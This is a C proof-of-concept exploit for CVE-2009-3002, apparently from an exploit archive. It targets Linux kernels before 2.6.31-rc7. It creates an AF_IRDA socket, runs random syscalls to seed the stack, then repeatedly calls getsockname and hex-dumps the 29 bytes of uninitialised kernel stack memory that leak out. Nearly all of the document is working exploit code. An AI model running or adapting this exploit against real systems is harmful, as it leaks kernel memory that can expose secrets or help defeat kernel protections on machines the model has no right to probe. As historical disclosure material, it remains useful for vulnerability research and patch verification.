Linux Kernel 2.6.31-rc7 - AF_IRDA 29-Byte Stack Disclosure (2)
/*
* cve-2009-3002.c
*
* Linux Kernel < 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure
* Jon Oberheide <[email protected]>
* http://jon.oberheide.org
*
* Information:
*
* http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002
*
* The Linux kernel before 2.6.31-rc7 does not initialize certain data
* structures within getname functions, which allows local users to read
* the contents of some kernel memory locations by calling getsockname
* on ... (2) an AF_IRDA socket, related to the irda_getname function in
* net/irda/af_irda.c.
*
* Notes:
*
* Yet another stack disclosure...although this one is big and contiguous.
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#ifndef AF_IRDA
#define AF_IRDA 23
#endif
struct sockaddr_irda {
uint16_t sir_family;
uint8_t sir_lsap_sel;
uint32_t sir_addr;
char sir_name[25];
};
const int randcalls[] = {
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
__NR_sched_getparam, __NR_sched_get_priority_max
};
void
dump(const unsigned char *p, unsigned l)
{
printf("sockaddr_irda:");
while (l > 0) {
printf(" ");
if (l == 33 || l == 28) {
printf("<<< ");
}
printf("%02x", *p);
if (l == 33 || l == 1) {
printf(" >>>");
}
++p; --l;
}
printf("\n");
}
int
main(void)
{
struct sockaddr_irda saddr;
int ret, call, sock, len = sizeof(saddr);
printf("[+] Creating AF_IRDA socket.\n");
sock = socket(AF_IRDA, SOCK_DGRAM, 0);
if (sock == -1) {
printf("[-] Error: Couldn't create AF_IRDA socket.\n");
printf("[-] %s.\n", strerror(errno));
exit(1);
}
memset(&saddr, 0, len);
printf("[+] Ready to call getsockname.\n\n");
for (ret = 5; ret > 0; ret--) {
printf("%d...\n", ret);
sleep(1);
}
srand(time(NULL));
while (1) {
/* random stuff to make stack pseudo-interesting */
call = rand() % (sizeof(randcalls) / sizeof(int));
syscall(randcalls[call]);
ret = getsockname(sock, (struct sockaddr *) &saddr, &len);
if (ret != 0) {
printf("[-] Error: getsockname failed.\n");
printf("[-] %s.\n", strerror(errno));
exit(1);
}
dump((unsigned char *) &saddr, sizeof(saddr));
}
return 0;
}
// milw0rm.com [2009-08-31]